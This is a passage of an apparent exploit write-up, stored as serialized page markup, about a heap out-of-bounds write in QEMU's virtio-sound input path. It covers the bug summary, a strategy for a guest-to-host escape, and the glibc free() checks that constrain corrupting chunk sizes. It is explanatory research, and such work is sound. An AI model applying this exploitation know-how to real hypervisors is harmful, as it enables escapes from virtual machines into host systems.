,"props":127908,"children":127909},{"style":120},[127910],{"type":29,"value":216},{"type":24,"tag":90,"props":127912,"children":127913},{"style":136},[127914],{"type":29,"value":127842},{"type":24,"tag":90,"props":127916,"children":127917},{"style":114},[127918],{"type":29,"value":177},{"type":24,"tag":90,"props":127920,"children":127921},{"style":136},[127922],{"type":29,"value":127906},{"type":24,"tag":90,"props":127924,"children":127925},{"style":114},[127926],{"type":29,"value":381},{"type":24,"tag":90,"props":127928,"children":127929},{"class":92,"line":782},[127930],{"type":24,"tag":90,"props":127931,"children":127932},{"emptyLinePlaceholder":16},[127933],{"type":29,"value":245},{"type":24,"tag":90,"props":127935,"children":127936},{"class":92,"line":791},[127937,127941,127946],{"type":24,"tag":90,"props":127938,"children":127939},{"style":636},[127940],{"type":29,"value":3510},{"type":24,"tag":90,"props":127942,"children":127943},{"style":108},[127944],{"type":29,"value":127945}," cpu_to_le32",{"type":24,"tag":90,"props":127947,"children":127948},{"style":114},[127949],{"type":29,"value":127950},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":90,"props":127952,"children":127953},{"class":92,"line":799},[127954],{"type":24,"tag":90,"props":127955,"children":127956},{"style":114},[127957],{"type":29,"value":827},{"type":24,"tag":25,"props":127959,"children":127960},{},[127961,127963,127968,127970,127976,127978,127983,127985,127990,127992,127998,127999,128004],{"type":29,"value":127962},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":32,"props":127964,"children":127966},{"className":127965},[],[127967],{"type":29,"value":1409},{"type":29,"value":127969},") and signed (",{"type":24,"tag":32,"props":127971,"children":127973},{"className":127972},[],[127974],{"type":29,"value":127975},"s8",{"type":29,"value":127977},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":32,"props":127979,"children":127981},{"className":127980},[],[127982],{"type":29,"value":31251},{"type":29,"value":127984}," in ",{"type":24,"tag":32,"props":127986,"children":127988},{"className":127987},[],[127989],{"type":29,"value":1409},{"type":29,"value":127991},", but ",{"type":24,"tag":32,"props":127993,"children":127995},{"className":127994},[],[127996],{"type":29,"value":127997},"0x00",{"type":29,"value":127984},{"type":24,"tag":32,"props":128000,"children":128002},{"className":128001},[],[128003],{"type":29,"value":127975},{"type":29,"value":226},{"type":24,"tag":20586,"props":128006,"children":128007},{},[],{"type":24,"tag":25,"props":128009,"children":128010},{},[128011],{"type":29,"value":128012},"To summarize:",{"type":24,"tag":3100,"props":128014,"children":128015},{},[128016,128035,128053],{"type":24,"tag":3104,"props":128017,"children":128018},{},[128019,128021,128026,128028,128033],{"type":29,"value":128020},"an integer underflow in the ",{"type":24,"tag":32,"props":128022,"children":128024},{"className":128023},[],[128025],{"type":29,"value":126090},{"type":29,"value":128027}," calculation in ",{"type":24,"tag":32,"props":128029,"children":128031},{"className":128030},[],[128032],{"type":29,"value":125595},{"type":29,"value":128034},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":3104,"props":128036,"children":128037},{},[128038,128040,128045,128046,128051],{"type":29,"value":128039},"a mismatch in the ",{"type":24,"tag":32,"props":128041,"children":128043},{"className":128042},[],[128044],{"type":29,"value":127322},{"type":29,"value":128027},{"type":24,"tag":32,"props":128047,"children":128049},{"className":128048},[],[128050],{"type":29,"value":127420},{"type":29,"value":128052},", leading to at most 8-byte OOB write",{"type":24,"tag":3104,"props":128054,"children":128055},{},[128056,128058,128063,128065,128070,128072,128077],{"type":29,"value":128057},"a missing bound in the ",{"type":24,"tag":32,"props":128059,"children":128061},{"className":128060},[],[128062],{"type":29,"value":126090},{"type":29,"value":128064}," passed to ",{"type":24,"tag":32,"props":128066,"children":128068},{"className":128067},[],[128069],{"type":29,"value":127440},{"type":29,"value":128071},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":32,"props":128073,"children":128075},{"className":128074},[],[128076],{"type":29,"value":127463},{"type":29,"value":84119},{"type":24,"tag":25,"props":128079,"children":128080},{},[128081,128083,128088,128090,128095,128097,128103],{"type":29,"value":128082},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":32,"props":128084,"children":128086},{"className":128085},[],[128087],{"type":29,"value":127463},{"type":29,"value":128089},", but in our setup with the ALSA backend, ",{"type":24,"tag":32,"props":128091,"children":128093},{"className":128092},[],[128094],{"type":29,"value":127463},{"type":29,"value":128096}," was consistently around ",{"type":24,"tag":32,"props":128098,"children":128100},{"className":128099},[],[128101],{"type":29,"value":128102},"4096",{"type":29,"value":226},{"type":24,"tag":25,"props":128105,"children":128106},{},[128107,128109,128116,128117,128124],{"type":29,"value":128108},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":69,"props":128110,"children":128113},{"href":128111,"rel":128112},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[73],[128114],{"type":29,"value":128115},"commit 1",{"type":29,"value":133},{"type":24,"tag":69,"props":128118,"children":128121},{"href":128119,"rel":128120},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[73],[128122],{"type":29,"value":128123},"commit 2",{"type":29,"value":128125},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":850,"props":128127,"children":128128},{"id":101938},[128129],{"type":29,"value":101941},{"type":24,"tag":25,"props":128131,"children":128132},{},[128133],{"type":29,"value":128134},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":25,"props":128136,"children":128137},{},[128138],{"type":29,"value":128139},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":1019,"props":128141,"children":128143},{"id":128142},"achieving-a-better-primitive",[128144],{"type":29,"value":128145},"Achieving a Better Primitive",{"type":24,"tag":25,"props":128147,"children":128148},{},[128149],{"type":29,"value":128150},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":24,"tag":25,"props":128152,"children":128153},{},[128154],{"type":29,"value":128155},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":24,"tag":25,"props":128157,"children":128158},{},[128159],{"type":29,"value":128160},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":24,"tag":20686,"props":128162,"children":128164},{"id":128163},"glibc-allocator",[128165],{"type":29,"value":128166},"Glibc Allocator",{"type":24,"tag":25,"props":128168,"children":128169},{},[128170,128172,128179],{"type":29,"value":128171},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":24,"tag":69,"props":128173,"children":128176},{"href":128174,"rel":128175},"https://github.com/shellphish/how2heap",[73],[128177],{"type":29,"value":128178},"how2heap",{"type":29,"value":226},{"type":24,"tag":39162,"props":128181,"children":128183},{"id":128182},"chunk-layout-and-bins",[128184],{"type":29,"value":128185},"Chunk Layout and Bins",{"type":24,"tag":25,"props":128187,"children":128188},{},[128189],{"type":29,"value":128190},"A chunk looks like this:",{"type":24,"tag":80,"props":128192,"children":128194},{"code":128193}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[128195],{"type":24,"tag":32,"props":128196,"children":128197},{"__ignoreMap":7},[128198],{"type":29,"value":128193},{"type":24,"tag":25,"props":128200,"children":128201},{},[128202,128204,128210,128212,128218,128219,128224,128225,128231,128233,128238,128240,128245,128247,128253,128254,128260,128262,128268],{"type":29,"value":128203},"The first 16 bytes form the chunk header. It consists of the ",{"type":24,"tag":32,"props":128205,"children":128207},{"className":128206},[],[128208],{"type":29,"value":128209},"prev_size",{"type":29,"value":128211}," field at offset ",{"type":24,"tag":32,"props":128213,"children":128215},{"className":128214},[],[128216],{"type":29,"value":128217},"0x0",{"type":29,"value":39366},{"type":24,"tag":32,"props":128220,"children":128222},{"className":128221},[],[128223],{"type":29,"value":126090},{"type":29,"value":128211},{"type":24,"tag":32,"props":128226,"children":128228},{"className":128227},[],[128229],{"type":29,"value":128230},"0x8",{"type":29,"value":128232},". As the name suggests, ",{"type":24,"tag":32,"props":128234,"children":128236},{"className":128235},[],[128237],{"type":29,"value":128209},{"type":29,"value":128239}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":24,"tag":32,"props":128241,"children":128243},{"className":128242},[],[128244],{"type":29,"value":126090},{"type":29,"value":128246}," stores the size of the current chunk and three special bits of which ",{"type":24,"tag":32,"props":128248,"children":128250},{"className":128249},[],[128251],{"type":29,"value":128252},"PREV_INUSE",{"type":29,"value":13360},{"type":24,"tag":32,"props":128255,"children":128257},{"className":128256},[],[128258],{"type":29,"value":128259},"IS_MMAPPED",{"type":29,"value":128261}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":24,"tag":32,"props":128263,"children":128265},{"className":128264},[],[128266],{"type":29,"value":128267},"0x10",{"type":29,"value":226},{"type":24,"tag":25,"props":128270,"children":128271},{},[128272],{"type":29,"value":128273},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":24,"tag":39162,"props":128275,"children":128277},{"id":128276},"free-path",[128278],{"type":29,"value":128279},"free() path",{"type":24,"tag":25,"props":128281,"children":128282},{},[128283,128285,128291],{"type":29,"value":128284},"Let’s first look at the ",{"type":24,"tag":32,"props":128286,"children":128288},{"className":128287},[],[128289],{"type":29,"value":128290},"free()",{"type":29,"value":128292}," path in glibc 2.40:",{"type":24,"tag":80,"props":128294,"children":128296},{"code":128295,"language":3030,"meta":7,"className":3028,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[128297],{"type":24,"tag":32,"props":128298,"children":128299},{"__ignoreMap":7},[128300,128328,128335,128343,128351,128358,128380,128401,128408,128421,128428,128436,128443,128456,128463,128484,128505,128512],{"type":24,"tag":90,"props":128301,"children":128302},{"class":92,"line":93},[128303,128308,128312,128316,128320,128324],{"type":24,"tag":90,"props":128304,"children":128305},{"style":108},[128306],{"type":29,"value":128307},"__libc_free",{"type":24,"tag":90,"props":128309,"children":128310},{"style":114},[128311],{"type":29,"value":1151},{"type":24,"tag":90,"props":128313,"children":128314},{"style":97},[128315],{"type":29,"value":53451},{"type":24,"tag":90,"props":128317,"children":128318},{"style":120},[128319],{"type":29,"value":366},{"type":24,"tag":90,"props":128321,"children":128322},{"style":136},[128323],{"type":29,"value":42481},{"type":24,"tag":90,"props":128325,"children":128326},{"style":114},[128327],{"type":29,"value":1686},{"type":24,"tag":90,"props":128329,"children":128330},{"class":92,"line":200},[128331],{"type":24,"tag":90,"props":128332,"children":128333},{"style":114},[128334],{"type":29,"value":2221},{"type":24,"tag":90,"props":128336,"children":128337},{"class":92,"line":239},[128338],{"type":24,"tag":90,"props":128339,"children":128340},{"style":114},[128341],{"type":29,"value":128342}," mstate ar_ptr;\n",{"type":24,"tag":90,"props":128344,"children":128345},{"class":92,"line":248},[128346],{"type":24,"tag":90,"props":128347,"children":128348},{"style":114},[128349],{"type":29,"value":128350}," mchunkptr p;\n",{"type":24,"tag":90,"props":128352,"children":128353},{"class":92,"line":258},[128354],{"type":24,"tag":90,"props":128355,"children":128356},{"emptyLinePlaceholder":16},[128357],{"type":29,"value":245},{"type":24,"tag":90,"props":128359,"children":128360},{"class":92,"line":272},[128361,128366,128370,128375],{"type":24,"tag":90,"props":128362,"children":128363},{"style":114},[128364],{"type":29,"value":128365}," p ",{"type":24,"tag":90,"props":128367,"children":128368},{"style":120},[128369],{"type":29,"value":5491},{"type":24,"tag":90,"props":128371,"children":128372},{"style":108},[128373],{"type":29,"value":128374}," mem2chunk",{"type":24,"tag":90,"props":128376,"children":128377},{"style":114},[128378],{"type":29,"value":128379}," (mem);\n",{"type":24,"tag":90,"props":128381,"children":128382},{"class":92,"line":281},[128383,128387,128391,128396],{"type":24,"tag":90,"props":128384,"children":128385},{"style":636},[128386],{"type":29,"value":33207},{"type":24,"tag":90,"props":128388,"children":128389},{"style":114},[128390],{"type":29,"value":1151},{"type":24,"tag":90,"props":128392,"children":128393},{"style":108},[128394],{"type":29,"value":128395},"chunk_is_mmapped",{"type":24,"tag":90,"props":128397,"children":128398},{"style":114},[128399],{"type":29,"value":128400}," (p))\n",{"type":24,"tag":90,"props":128402,"children":128403},{"class":92,"line":384},[128404],{"type":24,"tag":90,"props":128405,"children":128406},{"style":114},[128407],{"type":29,"value":30998},{"type":24,"tag":90,"props":128409,"children":128410},{"class":92,"line":420},[128411,128416],{"type":24,"tag":90,"props":128412,"children":128413},{"style":108},[128414],{"type":29,"value":128415}," munmap_chunk",{"type":24,"tag":90,"props":128417,"children":128418},{"style":114},[128419],{"type":29,"value":128420}," (p);\n",{"type":24,"tag":90,"props":128422,"children":128423},{"class":92,"line":428},[128424],{"type":24,"tag":90,"props":128425,"children":128426},{"style":114},[128427],{"type":29,"value":612},{"type":24,"tag":90,"props":128429,"children":128430},{"class":92,"line":437},[128431],{"type":24,"tag":90,"props":128432,"children":128433},{"style":636},[128434],{"type":29,"value":128435}," else\n",{"type":24,"tag":90,"props":128437,"children":128438},{"class":92,"line":574},[128439],{"type":24,"tag":90,"props":128440,"children":128441},{"style":114},[128442],{"type":29,"value":30998},{"type":24,"tag":90,"props":128444,"children":128445},{"class":92,"line":606},[128446,128451],{"type":24,"tag":90,"props":128447,"children":128448},{"style":108},[128449],{"type":29,"value":128450}," MAYBE_INIT_TCACHE",{"type":24,"tag":90,"props":128452,"children":128453},{"style":114},[128454],{"type":29,"value":128455}," ();\n",{"type":24,"tag":90,"props":128457,"children":128458},{"class":92,"line":615},[128459],{"type":24,"tag":90,"props":128460,"children":128461},{"emptyLinePlaceholder":16},[128462],{"type":29,"value":245},{"type":24,"tag":90,"props":128464,"children":128465},{"class":92,"line":623},[128466,128471,128475,128480],{"type":24,"tag":90,"props":128467,"children":128468},{"style":114},[128469],{"type":29,"value":128470}," ar_ptr ",{"type":24,"tag":90,"props":128472,"children":128473},{"style":120},[128474],{"type":29,"value":5491},{"type":24,"tag":90,"props":128476,"children":128477},{"style":108},[128478],{"type":29,"value":128479}," arena_for_chunk",{"type":24,"tag":90,"props":128481,"children":128482},{"style":114},[128483],{"type":29,"value":128420},{"type":24,"tag":90,"props":128485,"children":128486},{"class":92,"line":632},[128487,128492,128497,128501],{"type":24,"tag":90,"props":128488,"children":128489},{"style":108},[128490],{"type":29,"value":128491}," _int_free",{"type":24,"tag":90,"props":128493,"children":128494},{"style":114},[128495],{"type":29,"value":128496}," (ar_ptr, p, ",{"type":24,"tag":90,"props":128498,"children":128499},{"style":349},[128500],{"type":29,"value":6408},{"type":24,"tag":90,"props":128502,"children":128503},{"style":114},[128504],{"type":29,"value":571},{"type":24,"tag":90,"props":128506,"children":128507},{"class":92,"line":669},[128508],{"type":24,"tag":90,"props":128509,"children":128510},{"style":114},[128511],{"type":29,"value":612},{"type":24,"tag":90,"props":128513,"children":128514},{"class":92,"line":683},[128515],{"type":24,"tag":90,"props":128516,"children":128517},{"style":114},[128518],{"type":29,"value":827},{"type":24,"tag":25,"props":128520,"children":128521},{},[128522,128524,128529,128531,128536,128538,128544,128546,128552,128554,128559,128561,128566,128568,128573,128575,128580],{"type":29,"value":128523},"We can see that if the ",{"type":24,"tag":32,"props":128525,"children":128527},{"className":128526},[],[128528],{"type":29,"value":128259},{"type":29,"value":128530}," bit is set in the corrupted ",{"type":24,"tag":32,"props":128532,"children":128534},{"className":128533},[],[128535],{"type":29,"value":126090},{"type":29,"value":128537}," field, glibc will call ",{"type":24,"tag":32,"props":128539,"children":128541},{"className":128540},[],[128542],{"type":29,"value":128543},"munmap_chunk",{"type":29,"value":128545},", which internally checks that ",{"type":24,"tag":32,"props":128547,"children":128549},{"className":128548},[],[128550],{"type":29,"value":128551},"prev_size + size",{"type":29,"value":128553}," is page-aligned. To reach the ",{"type":24,"tag":32,"props":128555,"children":128557},{"className":128556},[],[128558],{"type":29,"value":126090},{"type":29,"value":128560}," field, we first have to overwrite the entire 8-byte ",{"type":24,"tag":32,"props":128562,"children":128564},{"className":128563},[],[128565],{"type":29,"value":128209},{"type":29,"value":128567}," field with uncontrolled data. The chance that a corrupted ",{"type":24,"tag":32,"props":128569,"children":128571},{"className":128570},[],[128572],{"type":29,"value":128551},{"type":29,"value":128574}," value still ends up page-aligned is extremely small. In practice, if ",{"type":24,"tag":32,"props":128576,"children":128578},{"className":128577},[],[128579],{"type":29,"value":128259},{"type":29,"value":128581}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":24,"tag":25,"props":128583,"children":128584},{},[128585,128587,128592,128594,128600],{"type":29,"value":128586},"Assuming ",{"type":24,"tag":32,"props":128588,"children":128590},{"className":128589},[],[128591],{"type":29,"value":128259},{"type":29,"value":128593}," is not set, execution continues into ",{"type":24,"tag":32,"props":128595,"children":128597},{"className":128596},[],[128598],{"type":29,"value":128599},"_int_free",{"type":29,"value":78},{"type":24,"tag":80,"props":128602,"children":128604},{"code":128603,"language":3030,"meta":7,"className":3028,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n INTERNAL_SIZE_T size;\n\n size = chunksize (p);\n\n /* Little security check which won't hurt performance: the\n allocator never wraps around at the end of the address space.\n Therefore we can exclude some size values which might appear\n here by accident or by \"design\" from some intruder. */\n if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n || __builtin_expect (misaligned_chunk (p), 0))\n malloc_printerr (\"free(): invalid pointer\");\n /* We know that each chunk is at least MINSIZE bytes in size or a\n multiple of MALLOC_ALIGNMENT. */\n if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n malloc_printerr (\"free(): invalid size\");\n\n check_inuse_chunk(av, p);\n\n [...]\n",[128605],{"type":24,"tag":32,"props":128606,"children":128607},{"__ignoreMap":7},[128608,128620,128663,128670,128678,128685,128706,128713,128721,128729,128737,128745,128809,128844,128865,128873,128881,128929,128949,128956,128969,128976],{"type":24,"tag":90,"props":128609,"children":128610},{"class":92,"line":93},[128611,128615],{"type":24,"tag":90,"props":128612,"children":128613},{"style":97},[128614],{"type":29,"value":52868},{"type":24,"tag":90,"props":128616,"children":128617},{"style":97},[128618],{"type":29,"value":128619}," void\n",{"type":24,"tag":90,"props":128621,"children":128622},{"class":92,"line":200},[128623,128627,128632,128637,128642,128646,128650,128654,128659],{"type":24,"tag":90,"props":128624,"children":128625},{"style":108},[128626],{"type":29,"value":128599},{"type":24,"tag":90,"props":128628,"children":128629},{"style":114},[128630],{"type":29,"value":128631}," (mstate ",{"type":24,"tag":90,"props":128633,"children":128634},{"style":136},[128635],{"type":29,"value":128636},"av",{"type":24,"tag":90,"props":128638,"children":128639},{"style":114},[128640],{"type":29,"value":128641},", mchunkptr ",{"type":24,"tag":90,"props":128643,"children":128644},{"style":136},[128645],{"type":29,"value":25},{"type":24,"tag":90,"props":128647,"children":128648},{"style":114},[128649],{"type":29,"value":133},{"type":24,"tag":90,"props":128651,"children":128652},{"style":97},[128653],{"type":29,"value":20841},{"type":24,"tag":90,"props":128655,"children":128656},{"style":136},[128657],{"type":29,"value":128658}," have_lock",{"type":24,"tag":90,"props":128660,"children":128661},{"style":114},[128662],{"type":29,"value":1686},{"type":24,"tag":90,"props":128664,"children":128665},{"class":92,"line":239},[128666],{"type":24,"tag":90,"props":128667,"children":128668},{"style":114},[128669],{"type":29,"value":2221},{"type":24,"tag":90,"props":128671,"children":128672},{"class":92,"line":248},[128673],{"type":24,"tag":90,"props":128674,"children":128675},{"style":114},[128676],{"type":29,"value":128677}," INTERNAL_SIZE_T size;\n",{"type":24,"tag":90,"props":128679,"children":128680},{"class":92,"line":258},[128681],{"type":24,"tag":90,"props":128682,"children":128683},{"emptyLinePlaceholder":16},[128684],{"type":29,"value":245},{"type":24,"tag":90,"props":128686,"children":128687},{"class":92,"line":272},[128688,128693,128697,128702],{"type":24,"tag":90,"props":128689,"children":128690},{"style":114},[128691],{"type":29,"value":128692}," size ",{"type":24,"tag":90,"props":128694,"children":128695},{"style":120},[128696],{"type":29,"value":5491},{"type":24,"tag":90,"props":128698,"children":128699},{"style":108},[128700],{"type":29,"value":128701}," chunksize",{"type":24,"tag":90,"props":128703,"children":128704},{"style":114},[128705],{"type":29,"value":128420},{"type":24,"tag":90,"props":128707,"children":128708},{"class":92,"line":281},[128709],{"type":24,"tag":90,"props":128710,"children":128711},{"emptyLinePlaceholder":16},[128712],{"type":29,"value":245},{"type":24,"tag":90,"props":128714,"children":128715},{"class":92,"line":384},[128716],{"type":24,"tag":90,"props":128717,"children":128718},{"style":252},[128719],{"type":29,"value":128720}," /* Little security check which won't hurt performance: the\n",{"type":24,"tag":90,"props":128722,"children":128723},{"class":92,"line":420},[128724],{"type":24,"tag":90,"props":128725,"children":128726},{"style":252},[128727],{"type":29,"value":128728}," allocator never wraps around at the end of the address space.\n",{"type":24,"tag":90,"props":128730,"children":128731},{"class":92,"line":428},[128732],{"type":24,"tag":90,"props":128733,"children":128734},{"style":252},[128735],{"type":29,"value":128736}," Therefore we can exclude some size values which might appear\n",{"type":24,"tag":90,"props":128738,"children":128739},{"class":92,"line":437},[128740],{"type":24,"tag":90,"props":128741,"children":128742},{"style":252},[128743],{"type":29,"value":128744}," here by accident or by \"design\" from some intruder. */\n",{"type":24,"tag":90,"props":128746,"children":128747},{"class":92,"line":574},[128748,128752,128756,128761,128766,128771,128776,128780,128784,128788,128792,128796,128801,128805],{"type":24,"tag":90,"props":128749,"children":128750},{"style":636},[128751],{"type":29,"value":33207},{"type":24,"tag":90,"props":128753,"children":128754},{"style":114},[128755],{"type":29,"value":1151},{"type":24,"tag":90,"props":128757,"children":128758},{"style":108},[128759],{"type":29,"value":128760},"__builtin_expect",{"type":24,"tag":90,"props":128762,"children":128763},{"style":114},[128764],{"type":29,"value":128765}," ((",{"type":24,"tag":90,"props":128767,"children":128768},{"style":97},[128769],{"type":29,"value":128770},"uintptr_t",{"type":24,"tag":90,"props":128772,"children":128773},{"style":114},[128774],{"type":29,"value":128775},") p ",{"type":24,"tag":90,"props":128777,"children":128778},{"style":120},[128779],{"type":29,"value":12830},{"type":24,"tag":90,"props":128781,"children":128782},{"style":114},[128783],{"type":29,"value":1151},{"type":24,"tag":90,"props":128785,"children":128786},{"style":97},[128787],{"type":29,"value":128770},{"type":24,"tag":90,"props":128789,"children":128790},{"style":114},[128791],{"type":29,"value":172},{"type":24,"tag":90,"props":128793,"children":128794},{"style":120},[128795],{"type":29,"value":346},{"type":24,"tag":90,"props":128797,"children":128798},{"style":114},[128799],{"type":29,"value":128800},"size, ",{"type":24,"tag":90,"props":128802,"children":128803},{"style":349},[128804],{"type":29,"value":6408},{"type":24,"tag":90,"props":128806,"children":128807},{"style":114},[128808],{"type":29,"value":1686},{"type":24,"tag":90,"props":128810,"children":128811},{"class":92,"line":606},[128812,128817,128822,128826,128831,128836,128840],{"type":24,"tag":90,"props":128813,"children":128814},{"style":120},[128815],{"type":29,"value":128816}," ||",{"type":24,"tag":90,"props":128818,"children":128819},{"style":108},[128820],{"type":29,"value":128821}," __builtin_expect",{"type":24,"tag":90,"props":128823,"children":128824},{"style":114},[128825],{"type":29,"value":1151},{"type":24,"tag":90,"props":128827,"children":128828},{"style":108},[128829],{"type":29,"value":128830},"misaligned_chunk",{"type":24,"tag":90,"props":128832,"children":128833},{"style":114},[128834],{"type":29,"value":128835}," (p), ",{"type":24,"tag":90,"props":128837,"children":128838},{"style":349},[128839],{"type":29,"value":6408},{"type":24,"tag":90,"props":128841,"children":128842},{"style":114},[128843],{"type":29,"value":21507},{"type":24,"tag":90,"props":128845,"children":128846},{"class":92,"line":615},[128847,128852,128856,128861],{"type":24,"tag":90,"props":128848,"children":128849},{"style":108},[128850],{"type":29,"value":128851}," malloc_printerr",{"type":24,"tag":90,"props":128853,"children":128854},{"style":114},[128855],{"type":29,"value":1151},{"type":24,"tag":90,"props":128857,"children":128858},{"style":1085},[128859],{"type":29,"value":128860},"\"free(): invalid pointer\"",{"type":24,"tag":90,"props":128862,"children":128863},{"style":114},[128864],{"type":29,"value":571},{"type":24,"tag":90,"props":128866,"children":128867},{"class":92,"line":623},[128868],{"type":24,"tag":90,"props":128869,"children":128870},{"style":252},[128871],{"type":29,"value":128872}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":24,"tag":90,"props":128874,"children":128875},{"class":92,"line":632},[128876],{"type":24,"tag":90,"props":128877,"children":128878},{"style":252},[128879],{"type":29,"value":128880}," multiple of MALLOC_ALIGNMENT. */\n",{"type":24,"tag":90,"props":128882,"children":128883},{"class":92,"line":669},[128884,128888,128892,128897,128902,128906,128911,128915,128919,128924],{"type":24,"tag":90,"props":128885,"children":128886},{"style":636},[128887],{"type":29,"value":33207},{"type":24,"tag":90,"props":128889,"children":128890},{"style":114},[128891],{"type":29,"value":1151},{"type":24,"tag":90,"props":128893,"children":128894},{"style":108},[128895],{"type":29,"value":128896},"__glibc_unlikely",{"type":24,"tag":90,"props":128898,"children":128899},{"style":114},[128900],{"type":29,"value":128901}," (size ",{"type":24,"tag":90,"props":128903,"children":128904},{"style":120},[128905],{"type":29,"value":1575},{"type":24,"tag":90,"props":128907,"children":128908},{"style":114},[128909],{"type":29,"value":128910}," MINSIZE ",{"type":24,"tag":90,"props":128912,"children":128913},{"style":120},[128914],{"type":29,"value":24215},{"type":24,"tag":90,"props":128916,"children":128917},{"style":120},[128918],{"type":29,"value":2089},{"type":24,"tag":90,"props":128920,"children":128921},{"style":108},[128922],{"type":29,"value":128923},"aligned_OK",{"type":24,"tag":90,"props":128925,"children":128926},{"style":114},[128927],{"type":29,"value":128928}," (size)))\n",{"type":24,"tag":90,"props":128930,"children":128931},{"class":92,"line":683},[128932,128936,128940,128945],{"type":24,"tag":90,"props":128933,"children":128934},{"style":108},[128935],{"type":29,"value":128851},{"type":24,"tag":90,"props":128937,"children":128938},{"style":114},[128939],{"type":29,"value":1151},{"type":24,"tag":90,"props":128941,"children":128942},{"style":1085},[128943],{"type":29,"value":128944},"\"free(): invalid size\"",{"type":24,"tag":90,"props":128946,"children":128947},{"style":114},[128948],{"type":29,"value":571},{"type":24,"tag":90,"props":128950,"children":128951},{"class":92,"line":737},[128952],{"type":24,"tag":90,"props":128953,"children":128954},{"emptyLinePlaceholder":16},[128955],{"type":29,"value":245},{"type":24,"tag":90,"props":128957,"children":128958},{"class":92,"line":751},[128959,128964],{"type":24,"tag":90,"props":128960,"children":128961},{"style":108},[128962],{"type":29,"value":128963}," check_inuse_chunk",{"type":24,"tag":90,"props":128965,"children":128966},{"style":114},[128967],{"type":29,"value":128968},"(av, p);\n",{"type":24,"tag":90,"props":128970,"children":128971},{"class":92,"line":782},[128972],{"type":24,"tag":90,"props":128973,"children":128974},{"emptyLinePlaceholder":16},[128975],{"type":29,"value":245},{"type":24,"tag":90,"props":128977,"children":128978},{"class":92,"line":791},[128979],{"type":24,"tag":90,"props":128980,"children":128981},{"style":114},[128982],{"type":29,"value":128983}," [...]\n",{"type":24,"tag":25,"props":128985,"children":128986},{},[128987],{"type":29,"value":128988},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":25,"props":128990,"children":128991},{},[128992,128994,128999,129001,129006,129008,129013,129015,129020],{"type":29,"value":128993},"The next check, however, ensures that the ",{"type":24,"tag":32,"props":128995,"children":128997},{"className":128996},[],[128998],{"type":29,"value":126090},{"type":29,"value":129000}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":32,"props":129002,"children":129004},{"className":129003},[],[129005],{"type":29,"value":126090},{"type":29,"value":129007}," must preserve alignment while also avoiding the ",{"type":24,"tag":32,"props":129009,"children":129011},{"className":129010},[],[129012],{"type":29,"value":128259},{"type":29,"value":129014}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":32,"props":129016,"children":129018},{"className":129017},[],[129019],{"type":29,"value":126090},{"type":29,"value":129021}," corruption looked very unreliable at first.",{"type":24,"tag":25,"props":129023,"children":129024},{},[129025],{"type":29,"value":129026},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":80,"props":129028,"children":129030},{"code":129029,"language":3030,"meta":7,"className":3028,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n 